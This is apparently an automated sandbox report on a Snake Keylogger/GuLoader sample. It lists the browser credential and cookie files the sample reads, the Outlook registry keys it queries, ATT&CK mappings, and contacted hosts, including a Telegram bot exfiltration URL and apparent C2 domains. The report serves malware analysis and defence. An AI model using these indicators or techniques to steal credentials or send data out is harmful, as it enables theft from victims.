Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 599850	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 599733	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 599625	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 599498	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 599390	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 599281	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 598328	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 595942	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 595800	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Thread delayed: delay time: 593735	Jump to behavior

Source: GuuQOl5kJR.exe, 00000009.00000002.2319281708.000000000321C000.00000004.00000020.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2319281708.00000000031C7000.00000004.00000020.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000003.1769959029.000000000321C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: GuuQOl5kJR.exe, 00000009.00000002.2319281708.000000000321C000.00000004.00000020.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000003.1769959029.000000000321C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	API call chain: ExitProcess graph end node			graph_0-4509
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	API call chain: ExitProcess graph end node			graph_0-4513

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

Code function: 0_2_00406252 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406252

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

Process created: C:\Users\user\Desktop\GuuQOl5kJR.exe "C:\Users\user\Desktop\GuuQOl5kJR.exe"

Jump to behavior

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Queries volume information: C:\Users\user\Desktop\GuuQOl5kJR.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

Code function: 0_2_00405F0A GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00405F0A

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000009.00000002.2339510778.00000000338E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match

File source: Process Memory Space: GuuQOl5kJR.exe PID: 2072, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000009.00000002.2339510778.00000000338E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 Registry Run Keys / Startup Folder	11 Process Injection	11 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
GuuQOl5kJR.exe	65%	Virustotal		Browse
GuuQOl5kJR.exe	53%	ReversingLabs	Win32.Trojan.GuLoader
GuuQOl5kJR.exe	100%	Avira	TR/AD.Nekark.smsbe

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nslCC10.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nslCC10.tmp\System.dll	0%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.181.238	true	false	high
drive.usercontent.google.com	172.217.18.1	true	false	high
reallyfreegeoip.org	104.21.64.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.247.73	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
http://checkip.dyndns.org/	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:618321%0D%0ADate%20and%20Time:%2008/03/2025%20/%2021:03:35%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20618321%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.office.com/	GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033A9D000.00000004.00000800.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033A8E000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000339C2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000339C2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org?q=	GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enlBoq	GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033A67000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	GuuQOl5kJR.exe, 00000009.00000002.2319281708.0000000003230000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000338E1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	GuuQOl5kJR.exe	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000339C2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en	GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033A6C000.00000004.00000800.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033A5D000.00000004.00000800.00020000.00000000.sdmp	false	high
http://varders.kozow.com:8081	GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000338E1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/hb&	GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033A8E000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:618321%0D%0ADate%20a	GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000339C2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://aborters.duckdns.org:8081	GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000338E1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com	GuuQOl5kJR.exe, 00000009.00000003.1884578918.0000000003238000.00000004.00000020.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000003.1884640408.0000000003238000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/v20	GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enhb&	GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033A5D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/~L	GuuQOl5kJR.exe, 00000009.00000002.2319281708.00000000031C7000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/	GuuQOl5kJR.exe, 00000009.00000003.1769959029.000000000320D000.00000004.00000020.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2319281708.00000000031C7000.00000004.00000020.00020000.00000000.sdmp	false	high
http://anotherarmy.dns.army:8081	GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000338E1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtabv20	GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.189$	GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033954000.00000004.00000800.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2339510778.000000003399A000.00000004.00000800.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000339C2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	GuuQOl5kJR.exe, 00000009.00000002.2339510778.000000003399A000.00000004.00000800.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000339C2000.00000004.00000800.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2339510778.000000003392A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/lBoq	GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033A98000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	GuuQOl5kJR.exe, 00000009.00000003.1884578918.0000000003238000.00000004.00000020.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000003.1884640408.0000000003238000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	GuuQOl5kJR.exe, 00000009.00000002.2339510778.00000000338E1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://gemini.google.com/app?q=	GuuQOl5kJR.exe, 00000009.00000002.2340809095.0000000034BEE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	GuuQOl5kJR.exe, 00000009.00000002.2339510778.000000003392A000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.181.238	drive.google.com	United States	15169	GOOGLEUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.64.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
172.217.18.1	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1632365
Start date and time:	2025-03-07 22:51:54 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	GuuQOl5kJR.exe renamed because original name is a hash value
Original Sample Name:	ada032dd81e29c0b738bab536c8e240ea7cd87f29a14f98ac7302bb93251833c.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/30@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 154 Number of non-executed functions: 163
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.16.185.191
Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:53:43	API Interceptor	244x Sleep call for process: GuuQOl5kJR.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	xnlP06YunJ.exe	Get hash	malicious	AgentTesla	Browse
	cqWZtEH4eJ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	axN56TZ3PI.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	bvhauD4o49.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	0CBJ3aLKx0.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	CWu89IbJQw.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	DayVXJx1km.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	NDCNDvC27F.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	3c638k0NJx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	drRbNknjyb.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
104.21.64.1	begin.exe	Get hash	malicious	DarkTortilla, FormBook	Browse	www.kdrqcyusevx.info/z84n/
	Payment receipt PO 1437 1_ Payment receipt PO #1437 2.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/fix/five/fre.php
	Payment.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sccc/five/fre.php
	7RryusxiMtHBz80.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sss2/five/fre.php
	Request for quotation -6001845515-XLSX.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/tking3/five/fre.php
	vsf098633534.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sccc/five/fre.php
	laser.ps1	Get hash	malicious	FormBook	Browse	www.lucynoel6465.shop/jgkl/
	UPDATED SOA.pdf.exe	Get hash	malicious	FormBook	Browse	www.shlomi.app/t3l4/
	QUOTE OF DRY DOCK REPAIR.exe	Get hash	malicious	FormBook	Browse	www.arryongro-nambe.live/ljgq/
	QUOTATION NO REQ-19-000640.exe	Get hash	malicious	FormBook	Browse	www.askvtwv8.top/2875/
132.226.247.73	l9inNHJqHS.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	tSftorqHTy.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	checkip.dyndns.org/
	DayVXJx1km.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	cexqIzhyvM.exe	Get hash	malicious	GuLoader	Browse	checkip.dyndns.org/
	drRbNknjyb.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	pkNnK2ya0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	checkip.dyndns.org/
	ZTEIhNCtP3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	uPDwUy9ewY.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	qUG1ZROxLJ.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	1258ad6Jpw.exe	Get hash	malicious	GuLoader	Browse	104.21.16.1
	iFoDComHqT.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	cqWZtEH4eJ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.16.1
	axN56TZ3PI.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.64.1
	bvhauD4o49.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
	0CBJ3aLKx0.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	26YzPy68Rz.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.80.1
	AEo2XQmxqZ.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	l9inNHJqHS.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	CWu89IbJQw.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
checkip.dyndns.com	1258ad6Jpw.exe	Get hash	malicious	GuLoader	Browse	158.101.44.242
	iFoDComHqT.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.130.0
	cqWZtEH4eJ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	axN56TZ3PI.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	bvhauD4o49.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	0CBJ3aLKx0.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	26YzPy68Rz.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	AEo2XQmxqZ.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.8.169
	l9inNHJqHS.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	CWu89IbJQw.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
api.telegram.org	xnlP06YunJ.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	cqWZtEH4eJ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	axN56TZ3PI.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	bvhauD4o49.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	0CBJ3aLKx0.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	CWu89IbJQw.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DayVXJx1km.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	NDCNDvC27F.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	3c638k0NJx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	drRbNknjyb.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	xnlP06YunJ.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	cqWZtEH4eJ.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	axN56TZ3PI.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	bvhauD4o49.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
